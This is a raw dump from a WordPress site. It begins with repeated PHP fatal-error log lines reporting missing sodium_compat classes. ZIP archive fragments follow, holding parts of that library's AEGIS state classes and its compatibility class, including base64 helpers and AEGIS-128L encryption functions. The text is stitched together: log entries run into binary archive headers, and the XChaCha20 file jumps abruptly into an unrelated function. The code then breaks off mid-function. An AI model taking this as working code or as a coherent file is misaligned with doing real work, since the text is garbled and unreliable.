Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [10-Sep-2026 14:00:08 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [10-Sep-2026 14:05:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 [10-Sep-2026 14:07:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [10-Sep-2026 14:07:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [10-Sep-2026 14:07:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [10-Sep-2026 14:11:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [10-Sep-2026 14:11:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [10-Sep-2026 14:16:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 [10-Sep-2026 14:21:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [10-Sep-2026 14:31:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [10-Sep-2026 14:36:52 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [10-Sep-2026 14:38:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [10-Sep-2026 14:38:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [10-Sep-2026 14:38:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [10-Sep-2026 14:40:34 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [10-Sep-2026 14:40:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [10-Sep-2026 14:40:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [10-Sep-2026 14:41:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php on line 14 [10-Sep-2026 14:46:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [10-Sep-2026 14:48:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [10-Sep-2026 14:48:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [10-Sep-2026 14:48:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [10-Sep-2026 14:50:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [10-Sep-2026 14:50:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [10-Sep-2026 14:50:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [10-Sep-2026 14:51:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php on line 14 [10-Sep-2026 14:53:20 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [10-Sep-2026 15:03:34 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [10-Sep-2026 22:09:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [10-Sep-2026 22:09:30 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [10-Sep-2026 22:09:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [10-Sep-2026 22:09:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [10-Sep-2026 22:13:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [10-Sep-2026 22:20:03 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 PK!.]L* * src/Core/AEGIS/State128L.phpnu[ $state */ protected $state; public function __construct() { $this->state = array_fill(0, 8, ''); } /** * @internal Only use this for unit tests! * @return string[] */ public function getState() { return array_values($this->state); } /** * @param array $input * @return self * @throws SodiumException * * @internal Only for unit tests */ public static function initForUnitTests(array $input) { if (count($input) < 8) { throw new SodiumException('invalid input'); } $state = new self(); for ($i = 0; $i < 8; ++$i) { $state->state[$i] = $input[$i]; } return $state; } /** * @param string $key * @param string $nonce * @return self */ public static function init($key, $nonce) { $state = new self(); // S0 = key ^ nonce $state->state[0] = $key ^ $nonce; // S1 = C1 $state->state[1] = SODIUM_COMPAT_AEGIS_C1; // S2 = C0 $state->state[2] = SODIUM_COMPAT_AEGIS_C0; // S3 = C1 $state->state[3] = SODIUM_COMPAT_AEGIS_C1; // S4 = key ^ nonce $state->state[4] = $key ^ $nonce; // S5 = key ^ C0 $state->state[5] = $key ^ SODIUM_COMPAT_AEGIS_C0; // S6 = key ^ C1 $state->state[6] = $key ^ SODIUM_COMPAT_AEGIS_C1; // S7 = key ^ C0 $state->state[7] = $key ^ SODIUM_COMPAT_AEGIS_C0; // Repeat(10, Update(nonce, key)) for ($i = 0; $i < 10; ++$i) { $state->update($nonce, $key); } return $state; } /** * @param string $ai * @return self */ public function absorb($ai) { if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } $t0 = ParagonIE_Sodium_Core_Util::substr($ai, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($ai, 16, 16); return $this->update($t0, $t1); } /** * @param string $ci * @return string * @throws SodiumException */ public function dec($ci) { if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(xi, 128) $t0 = ParagonIE_Sodium_Core_Util::substr($ci, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($ci, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // Update(out0, out1) // xi = out0 || out1 $this->update($out0, $out1); return $out0 . $out1; } /** * @param string $cn * @return string */ public function decPartial($cn) { $len = ParagonIE_Sodium_Core_Util::strlen($cn); // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(ZeroPad(cn, 256), 128) $cn = str_pad($cn, 32, "\0", STR_PAD_RIGHT); $t0 = ParagonIE_Sodium_Core_Util::substr($cn, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($cn, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // xn = Truncate(out0 || out1, |cn|) $xn = ParagonIE_Sodium_Core_Util::substr($out0 . $out1, 0, $len); // v0, v1 = Split(ZeroPad(xn, 256), 128) $padded = str_pad($xn, 32, "\0", STR_PAD_RIGHT); $v0 = ParagonIE_Sodium_Core_Util::substr($padded, 0, 16); $v1 = ParagonIE_Sodium_Core_Util::substr($padded, 16, 16); // Update(v0, v1) $this->update($v0, $v1); // return xn return $xn; } /** * @param string $xi * @return string * @throws SodiumException */ public function enc($xi) { if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(xi, 128) $t0 = ParagonIE_Sodium_Core_Util::substr($xi, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($xi, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // Update(t0, t1) // ci = out0 || out1 $this->update($t0, $t1); // return ci return $out0 . $out1; } /** * @param int $ad_len_bits * @param int $msg_len_bits * @return string */ public function finalize($ad_len_bits, $msg_len_bits) { $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) . ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits); $t = $this->state[2] ^ $encoded; for ($i = 0; $i < 7; ++$i) { $this->update($t, $t); } return ($this->state[0] ^ $this->state[1] ^ $this->state[2] ^ $this->state[3]) . ($this->state[4] ^ $this->state[5] ^ $this->state[6] ^ $this->state[7]); } /** * @param string $m0 * @param string $m1 * @return self */ public function update($m0, $m1) { /* S'0 = AESRound(S7, S0 ^ M0) S'1 = AESRound(S0, S1) S'2 = AESRound(S1, S2) S'3 = AESRound(S2, S3) S'4 = AESRound(S3, S4 ^ M1) S'5 = AESRound(S4, S5) S'6 = AESRound(S5, S6) S'7 = AESRound(S6, S7) */ list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[7], $this->state[0] ^ $m0, $this->state[0], $this->state[1] ); list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[1], $this->state[2], $this->state[2], $this->state[3] ); list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[3], $this->state[4] ^ $m1, $this->state[4], $this->state[5] ); list($s_6, $s_7) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[5], $this->state[6], $this->state[6], $this->state[7] ); /* S0 = S'0 S1 = S'1 S2 = S'2 S3 = S'3 S4 = S'4 S5 = S'5 S6 = S'6 S7 = S'7 */ $this->state[0] = $s_0; $this->state[1] = $s_1; $this->state[2] = $s_2; $this->state[3] = $s_3; $this->state[4] = $s_4; $this->state[5] = $s_5; $this->state[6] = $s_6; $this->state[7] = $s_7; return $this; } }PK!.}}src/Core/AEGIS/State256.phpnu[ $state */ protected $state; public function __construct() { $this->state = array_fill(0, 6, ''); } /** * @internal Only use this for unit tests! * @return string[] */ public function getState() { return array_values($this->state); } /** * @param array $input * @return self * @throws SodiumException * * @internal Only for unit tests */ public static function initForUnitTests(array $input) { if (count($input) < 6) { throw new SodiumException('invalid input'); } $state = new self(); for ($i = 0; $i < 6; ++$i) { $state->state[$i] = $input[$i]; } return $state; } /** * @param string $key * @param string $nonce * @return self */ public static function init($key, $nonce) { $state = new self(); $k0 = ParagonIE_Sodium_Core_Util::substr($key, 0, 16); $k1 = ParagonIE_Sodium_Core_Util::substr($key, 16, 16); $n0 = ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16); $n1 = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 16); // S0 = k0 ^ n0 // S1 = k1 ^ n1 // S2 = C1 // S3 = C0 // S4 = k0 ^ C0 // S5 = k1 ^ C1 $k0_n0 = $k0 ^ $n0; $k1_n1 = $k1 ^ $n1; $state->state[0] = $k0_n0; $state->state[1] = $k1_n1; $state->state[2] = SODIUM_COMPAT_AEGIS_C1; $state->state[3] = SODIUM_COMPAT_AEGIS_C0; $state->state[4] = $k0 ^ SODIUM_COMPAT_AEGIS_C0; $state->state[5] = $k1 ^ SODIUM_COMPAT_AEGIS_C1; // Repeat(4, // Update(k0) // Update(k1) // Update(k0 ^ n0) // Update(k1 ^ n1) // ) for ($i = 0; $i < 4; ++$i) { $state->update($k0); $state->update($k1); $state->update($k0 ^ $n0); $state->update($k1 ^ $n1); } return $state; } /** * @param string $ai * @return self * @throws SodiumException */ public function absorb($ai) { if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 16) { throw new SodiumException('Input must be an AES block in size'); } return $this->update($ai); } /** * @param string $ci * @return string * @throws SodiumException */ public function dec($ci) { if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 16) { throw new SodiumException('Input must be an AES block in size'); } // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); $xi = $ci ^ $z; $this->update($xi); return $xi; } /** * @param string $cn * @return string */ public function decPartial($cn) { $len = ParagonIE_Sodium_Core_Util::strlen($cn); // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // t = ZeroPad(cn, 128) $t = str_pad($cn, 16, "\0", STR_PAD_RIGHT); // out = t ^ z $out = $t ^ $z; // xn = Truncate(out, |cn|) $xn = ParagonIE_Sodium_Core_Util::substr($out, 0, $len); // v = ZeroPad(xn, 128) $v = str_pad($xn, 16, "\0", STR_PAD_RIGHT); // Update(v) $this->update($v); // return xn return $xn; } /** * @param string $xi * @return string * @throws SodiumException */ public function enc($xi) { if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 16) { throw new SodiumException('Input must be an AES block in size'); } // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); $this->update($xi); return $xi ^ $z; } /** * @param int $ad_len_bits * @param int $msg_len_bits * @return string */ public function finalize($ad_len_bits, $msg_len_bits) { $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) . ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits); $t = $this->state[3] ^ $encoded; for ($i = 0; $i < 7; ++$i) { $this->update($t); } return ($this->state[0] ^ $this->state[1] ^ $this->state[2]) . ($this->state[3] ^ $this->state[4] ^ $this->state[5]); } /** * @param string $m * @return self */ public function update($m) { /* S'0 = AESRound(S5, S0 ^ M) S'1 = AESRound(S0, S1) S'2 = AESRound(S1, S2) S'3 = AESRound(S2, S3) S'4 = AESRound(S3, S4) S'5 = AESRound(S4, S5) */ list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[5],$this->state[0] ^ $m, $this->state[0], $this->state[1] ); list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[1], $this->state[2], $this->state[2], $this->state[3] ); list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[3], $this->state[4], $this->state[4], $this->state[5] ); /* S0 = S'0 S1 = S'1 S2 = S'2 S3 = S'3 S4 = S'4 S5 = S'5 */ $this->state[0] = $s_0; $this->state[1] = $s_1; $this->state[2] = $s_2; $this->state[3] = $s_3; $this->state[4] = $s_4; $this->state[5] = $s_5; return $this; } } PK!ς src/Core/XChaCha20.phpnu[>= 8; } $val = ParagonIE_Sodium_Core_Util::intArrayToString($A); } /** * @param string $encoded * @param int $variant * @param string $ignore * @return string * @throws SodiumException */ public static function base642bin( #[\SensitiveParameter] $encoded, $variant, $ignore = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($encoded, 'string', 1); /** @var string $encoded */ $encoded = (string) $encoded; // Just strip before decoding if (!empty($ignore)) { $encoded = str_replace($ignore, '', $encoded); } try { switch ($variant) { case self::BASE64_VARIANT_ORIGINAL: return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true); case self::BASE64_VARIANT_ORIGINAL_NO_PADDING: return ParagonIE_Sodium_Core_Base64_Original::decodeNoPadding($encoded); case self::BASE64_VARIANT_URLSAFE: return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true); case self::BASE64_VARIANT_URLSAFE_NO_PADDING: return ParagonIE_Sodium_Core_Base64_UrlSafe::decodeNoPadding($encoded); default: throw new SodiumException('invalid base64 variant identifier'); } } catch (Exception $ex) { if ($ex instanceof SodiumException) { throw $ex; } throw new SodiumException('invalid base64 string', 0, $ex); } } /** * @param string $decoded * @param int $variant * @return string * @throws SodiumException */ public static function bin2base64( #[\SensitiveParameter] $decoded, $variant ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($decoded, 'string', 1); /** @var string $decoded */ $decoded = (string) $decoded; if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) { return ''; } switch ($variant) { case self::BASE64_VARIANT_ORIGINAL: return ParagonIE_Sodium_Core_Base64_Original::encode($decoded); case self::BASE64_VARIANT_ORIGINAL_NO_PADDING: return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded); case self::BASE64_VARIANT_URLSAFE: return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded); case self::BASE64_VARIANT_URLSAFE_NO_PADDING: return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded); default: throw new SodiumException('invalid base64 variant identifier'); } } /** * Cache-timing-safe implementation of bin2hex(). * * @param string $string A string (probably raw binary) * @return string A hexadecimal-encoded string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function bin2hex( #[\SensitiveParameter] $string ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1); if (self::useNewSodiumAPI()) { return (string) sodium_bin2hex($string); } if (self::use_fallback('bin2hex')) { return (string) call_user_func('\\Sodium\\bin2hex', $string); } return ParagonIE_Sodium_Core_Util::bin2hex($string); } /** * Compare two strings, in constant-time. * Compared to memcmp(), compare() is more useful for sorting. * * @param string $left The left operand; must be a string * @param string $right The right operand; must be a string * @return int If < 0 if the left operand is less than the right * If = 0 if both strings are equal * If > 0 if the right operand is less than the left * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function compare( #[\SensitiveParameter] $left, #[\SensitiveParameter] $right ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2); if (self::useNewSodiumAPI()) { return (int) sodium_compare($left, $right); } if (self::use_fallback('compare')) { return (int) call_user_func('\\Sodium\\compare', $left, $right); } return ParagonIE_Sodium_Core_Util::compare($left, $right); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AEGIS-128L * * @param string $ciphertext Encrypted message (with MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aegis128l_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS128L_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext); if ($ct_length < self::CRYPTO_AEAD_AEGIS128L_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AEGIS128L_ABYTES long'); } $ct = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES ); $tag = ParagonIE_Sodium_Core_Util::substr( $ciphertext, $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES, self::CRYPTO_AEAD_AEGIS128L_ABYTES ); return ParagonIE_Sodium_Core_AEGIS128L::decrypt($ct, $tag, $assocData, $key, $nonce); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AEGIS-128L * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string Ciphertext with 32-byte authentication tag appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aegis128l_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); 